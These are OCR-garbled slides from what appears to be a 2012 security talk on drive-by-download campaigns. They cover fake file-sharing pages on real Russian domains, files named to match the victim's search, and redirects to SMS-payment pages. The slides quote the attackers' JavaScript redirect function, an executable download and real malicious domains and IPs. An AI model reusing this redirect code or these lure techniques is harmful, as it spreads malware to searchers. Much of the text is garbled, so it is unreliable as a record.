178.162.132.178

® talleresnahuel.com 74.54.202.162 >>>
kino.talleresnahuel.com ->
178.162.132.178

® qultivator.se 72.8.150.15 >>>
597821 .qultivator.se ->
178.162.132.166 38




Campaign 5
(fake filesharing sites)

Specifics:
- simulation of filesharing
website

- real domain is used for
SEO (search engine
feeds return content
within this domain at
high positions)

- cookies are used to
“serve once per |IP”

- page content is
generated automatically 39




Real domains are used

Site: alldistributors.ru

Bce /1 pHObTOph

Elle Edit View History

Bookmarks
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Tools  Help

,O Bee AMcTpHBERITOpE! Pocckk, KaTanar ... X IT BecTH.RU: B MeTepfiypre TpakTop pes... © | +

URL on the same site: alldistributors.ru/image/

€

| |p alldistributors.

= tfr wfgnb loki d ctnb
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MNoaaem obbABneHne DecnnaTHo ===

S+1 HoyTBYK B nogapok! ==
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Tools  Help

‘ 22 Antivirus scan For st UTC - |thuis cepanc - npopepia . | |4/ KpaTioe cosepaarie ian... | L) Crauare kpaTioe cogep.. X | L Casate kpaTkoe coepx.. | + | -
-

& )P || £ eldistributors.rufimagekrathoe-soder zhanie-kapitakmarks.php
L

7 - e[ 48~ cooge

ALL - FILES

iE ! Hagurayua

Inagxan
Codr
Myzbika
Hrpel
Knuru

Mpowmnekw

Daine
Hosurios
Nyuwes
Tor-100

0 Hac

>
>
>
4
>
P Amnew
>
>
>
>
>

OBpaTHaA ceAsk

= L IMyMwee

MACKS 1A CHE CBOMMM PYKAMI

5 (hopM OTHETHOCTH
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TONKIA KOHEYAE BUOE0

TPYNNE PYEM BERIX CIYWETE

oHAEAH

KDHKYDC ABTCKI: TaHUER

Buonapoke 4iA getei

CEEMETE KAPTY ANA QaTMIN nuyi

KK CABMATE KPACMBYI NOAEMKY

PKOHM TEET MynETHMEM

MHCTRYELMA N0 TEXHHKH

BesnnacHoCTh Ha cknage

® 0BOIPEE 33HEID CTEKNA CEOAMM
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© WHCTRYELMA N0 NPOWHBKE Iphone
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e
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..

e

Mapone:

CKa4aTh KPATKOE COMEQKAHME KANUTAN MARKD

Tlyuwiee: MAKaR YARE MOPEKDD KPATKOR CONERKEHME » CKAUATE KPATKOR CONBPXAHME KANHTAN
mMapke

Wus (paiina - KpaTKoe-Cofepaanite-KanuTan-uapkc

Perma: 3122011

OnepaupoHHAn cHeTena: Windows (Boe sepcuM), Mac OF Jaguar

Pazuep pokymenta: 3 Mb

daiin npoeepex: DriWeh, MeAfee, Norton Antivirus

KRATEDE COGERKAHNE KANUTaN Mapke

MponsBoauTens: He ykazan
NMuugHzna: BacnnatHan
Tone B peiitnire: 976
aumBaHmi (paina: 253
Sarpysun: Moxapik,

*BHUMEHME, "KPATHOE COASPRAHWE KANHTAN MAPKE' HE NPEAHAZHAUEH ANA KOMMEPUECKOTD
. M BroE P UenAx, Bel MOXETE HApYWHTE AETORCKKE
NpaEa ENARENLLE MaTepHana.

TerH: kPaTKOe COREPHAHAE KANMTAN MADKE, CIAT YETANLIE HIPYLIKH MAHYC

(ronacos: 7)

[o6agun: Elekiron, June 18, 2011, 17:27, 10:13, MpocwoTpos: 564, KOMMERTApHM (4)

. [search using Googie]
Zabend napone? BoAT

Ea CTaTMCTHES 3aK

Bcero apxneoe 3akauaHo:
4639 dainoe

DaiinoB ceroams:
223 AOKYMEHT

3aka4aHo Buepa:
266 apeoe

Ea Ton & nporpamy

L]

LlenTpannzoeanHan cnyxd
MIHOBEHHOM nBMeHa
COOBUEHUAMK CETH MHTEP

Qpers

Befi-Gpayzep v nporpamme
nakeT gnA pabors e MATer
BEIMYCKAR MBI KOMNAHKER
Software

WinArmp

EICTpeIA, TMTKAR AyRA0/EN
nponpEeaTent 4A Windo
KOTOpLIA 33802820 O4EHE
BONbLYI0 NONYNAPHOCTE &

KMPlayer

e ga-NponmEEaTENE 23
BIOe0 hainoe 4nA Windos
BETAOEHHBIMM KOAE KA

uTorrent
BECMNATHEI KIIHEHT ANA ©
BifTirrent (P2F)

: ; 0fnako Teros

GROMIEKCMH MHETRYE.
MPAKMBHEHWH TabneTky,
43 KEPTOHA CEOKMA
pykamn  QOLWKONBHC
oBpasoeaHne

l.'nunflnrl-.l NH FI'LI
3
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File:

Edit

Wiew  Hiskory

Tools

Search Engine Optimizati

=) KpaTHoe cogepkaHHe HanHTaa MapHc — HHOEH:
Bookmarks

Hamwnoce 2 MnH oTeeTOB - Mozilla

ox

Help

| Bnntivirus scan For at UTC - WirusTokal | ﬁ'whois CEPEHC - NPOEEpKa cEoboaH... | |£, KpaTkoe coasp#aHie KankTan map... * I p CKaHaTe KPaTKOS COASPMKaHHA SHa...

- 4 A d d hrtext=] 2r=
\ | | yandex.rufyandsearchrtext=KpaTkoe+ooAep#aHHEHEANHT AN+ MApKCEr=213
s |

7 e| |':" Google

9 HAEKC KpaTkoe cofemmiante KanuTan Mapke

|| B HaWgeHHOM | | B Mockee

Hawnock

NMownck

Ooura

Kaptel Mapket Hoeoctw Cnoeaps EBEnorw  Bugeo  HapTudks ewe

2 MNH OTEETOE

Kapn Mapke kanuTan KpaTkoe cojeprkaHue

QaCLLIMQEHHbIﬁ NOKCK

HaiTi

PoM HaxonkK

HacTtpoika
Pervon: Mockea

PazmecTure ofikApneHue no 2ang

" «KpaTkoe conep#ane .. »

zKanurans — ¢BenM4ailes NONMTHKO-IKOHOMUYECKD S NPOMSBESEHHE HALLED BEKAs. I
HazbliEan eKanwTans nenom ceoel xuznM. ... MNogzaronoeok sKanntanaz— «<Kputiea

NOAMTHYECKOR IKOHOMUMZ—ENONHE COOTEETCTEYET TEOPETHYECKOMY Cone P HaHHK

zKanutanas .

filzlov.ru » kAE7-kapital html

KonWAa BULE

KoHcnekT no Kanutany K. Mapkeca

Tun: Pedepat B paboTe ecTe: pMoyHEM 4 WT HAzbik pyccedi. PazmecTun (a) Zeus. Pazmep: 48
KA. Kateropua: 3koHomuka. KpaTtkoe onucadue: Toeap ecTe EHELWHKMEA NpeldmMeT (BEeLE],

KOTORAA YA O0ENETEORAET KakMe-NHAD Yenoseyeckie NoTpelHOCTH, B...
CoolReferat.com » Koncnerxr _no Kanutany K. WMapkca

KanuWa ELLE

CrKaYaTh KpaTKoe cofepxaHue KanuTan Mapkc - hadnoobmMeHHus Ana sac

*BHrmMaHHe, "KpaTKee copepiXaHHe KanuTan Mapkc” He NpefHasHayved ANA KOMMERHECKOro
NoAs20EaHMA. MCNoNEsyA ero B KOMMEepYeckly Lenax, Bel MoxeTe HapyWWTE aETOPCKWE NpaEa
EN3AENELS MATEpHAana.

alldistributors.ru » imagefkratkoe. . kapital-marks.php

Konua BLLE

«KpaTkoe Cofep¥aHne ... » B Kap

BAAMM
AMHMTPHMEB

Bce kapTuHrM

on

High position in Yandex results

~ iGoogle

Mapone: Safbinu Napons? BoHTH

¥y ¥ ¥ ¥y ¥y vy vYvyYvYyYVvYVvYyYYy

ALL - FILES

=

4

Hagurayma

MnaeHan
CobT
Mlyzkeika
Mrpel
FHurm
Mpowmnekk
ARHABE
Tafne
HoeuHkk
NMyuwee

Ton-100

O Hac

' ‘ CKEHETE KPETKOE COOEDMAHME KaNMTaN MaQKED

Mydwee: Makap Y¥apa MOpeLKOTo KPaTKOE COARMKAHME » CHadaTe KPATKOR COAERMKaH
MapKD

A (paiina - kpaTkoe-coAepHaHie-KanuTan-uapkc

Penna: 3.12.2011

OnepauMoHHan cHcTena: Windows (Bee Bepcud), Mac OS5 Jaguar
Pazuep pokymeHta: 3 Wb

@aiin npoeepeH: Driveh, MeAfee, Morton Antivirus

You have chosen to open

[ kratkoe_soderjanie_kapital_marks.exe
which is a: Binary File
from: hekp: jfalldaymedia.m
Would you like to save this File?

KRATEOR COORPMHAHWE KIANUTAN MAPKD

MpoH3BOANHTENL: He ykasaH
NMuueHanA: BacnnatHanA
Tone B peiiTHHre: 976
CrauMeaHui hainna: 253
Jarpyann: MNoskapkukl

THHUMAHWE, "KPATHOE COOSPMEHHE KANUTAN MARKE" HE NPEOHAZHAUEH ANA KOMMERUECKOTD
NONb30ESHWA. VICNONBSYA Br0 B KOMMERUECKME LENAY, Bbl MOMETE HAPYILIWTE SETORCKME
NpaEa BENASeNkUa MaTEpUana.

Teru: KpaTkoe COOSRKAHME KAMNMTAN MARKE, CNAT YCTANRIE MIPYLIKH MUHYC

JBE apEHEDE

: l Ton & Nporpamm

1ZG

LIEHTRENWIOEAHHEAA Cykia
MrHOBEHHOTO 0fMEHS
COOBWEHHAMK CETH FIHTEHET

Opera

Bef-Gpay3ep U NporpamHe i
nakeT gnAa palboTel B FIHTEpHETE,
EBINYCEAEMEIR KOMNAHWER Opera
Software

WinAmp
EBICTREIA, TMEKMA ayauofEMgen
NPOWIpLIESTENE ANA Windows,



Payload loaded via social engineering trick

File name generated to match your search engine request

Opening kratkoe_soderjanie_kapital_marks.exe

You have chosen to open a " =
I rtho. it skl ek onclick=ladunin fuck|'mparTroe coxepxarmie

From: http:ffalldaymedia.ru

Would wou like to save this file?

Save Fils | Cancel |

Download button::

= *noindex>
=l =a onclick= 'EpATHOS COTepHMaHMe RarmHTan dMaprc' )" rel="nofollow" href="g#"=

<img sreo="theme filesfsdownload.png” alt="" style="border: Opx solid ; width: 15lpx; height: S&px;"=
=/ a=
<a onclick="admnin fuck('mpaTEoe coIep 151 % 55 prc' )" rel="nofollow" href="#"rxparkoe COTepHaHMe HATMTAT MapRC </ a>

=i/noindexx

function admin_fuck(key)
{

var url = 'http:/lalldaymedia.rulfileserver/search.php?search=1&query=' + key;,
var what = new Array(‘aanieaoii’, 'nea?aou’);
var by = new Array(", ),

for (var i=0; i < what.length; i++) {
url = url.replace(what[i], by[i]);
}

window.location = url;
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&) Co

Cookie

Search: | allday

The Following cookies match your search:

Site

d

Mame:
Caonkent:
Hast:
Path:
Send For:
Expires:

|| alldaymedia.ru

= | CookieHame

1]

visited1
15208 ‘

schemal

£) Agentload - Gafinoawii nowckoask - Mozilla Firefox
He Ed Wew Hgory Eookmaks Dok teb
| L Gieaars mparpama ana yaanerss wind

¥ dnivirus scanfor ok UTC - WirusTotal | # Whs cepeve - npanepca cscBioiora a... | 5 ipaeae conspanne rarvmanvapc —.. | || Agentioad - Sainasn narcroeic

x|+

File downloaded only once. After cookie is
set a redirect to a page, which demands
SMS payment would be returned.

alldaymedia.ru

[Fileserver)

Any bype of connection

Thursday, May 17, 2012 11:00:34 |

Remove Cookie

& )9 | [ agentioads.rdq0.ru/7r=109480=BquUery =4 EATFO% ED%F2E A EEToES + 9o | HEELE S ESToFO%EETEN% EDETES-+5 EALEOTEF EBTF 2V EOTER T ECHEOTFOTEATFL

€ Agentload

Balll NOMOUIHHK B CHaMBAHAN Daiinos

25 Dunbu Wysua: Hrpe:
”
B V)

Mowuck (annos 11275 datina 91578 haiina 18267 daina

e

YTo BbI XOTUTE HAWUTN?
KpaTKoe COAepHaHMe KannTan Mapke
Harpumep, Muparst kapuicioro Mops
Bul nwete chaiin: ¥
KpaTkoe copepikaHie kanuTan Mapke

CropocTe ckauMeanua: 1789 K/cek.

Cravann: 1876 paz.

BHDYCOB He 0GHAVKEHO

Ko owe

CkaunBaiiTe BCe, YTO
yroHol

KpynHefwas ceTb
3arpysok

MNoxoxue dhaiinel

Kparkoe Euiictea [ Mpadune yBubietes / Profile for Murder (aenn Viswmrd (1996, punnep, apama, YHSRip]

0] (Doneckni

Banaute: Besymuei Mapke / Bandits: Phoenix Rising (2002) [RUS] [RePack]

#/Start| ) Downloads @ Crauars kpatkoe c...

Douoi

Mi<

Pevcipauua  Bion

(&

W Copr
N 56829 daiina

HeorpaHiueHHble
3arpyski
1024 -
e & Crauame
563 MG & Cravare
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Domain that hosts executable :)

problem?



Drive By Download Distribution By Type
(stats 2012)

1 % Had ne@rk simulation
W Banner like cover-up

W Sites that demand SMS payments

W Qwerttty.net

N other intermediate

BFTP

I DNS servers compromise,/abuse

B Real domains abuse

dynamic domains

W Domains in .tk zone




Oops.. and here:
questions :)

@vbkropotov
@vchetvertakov

@fygrave
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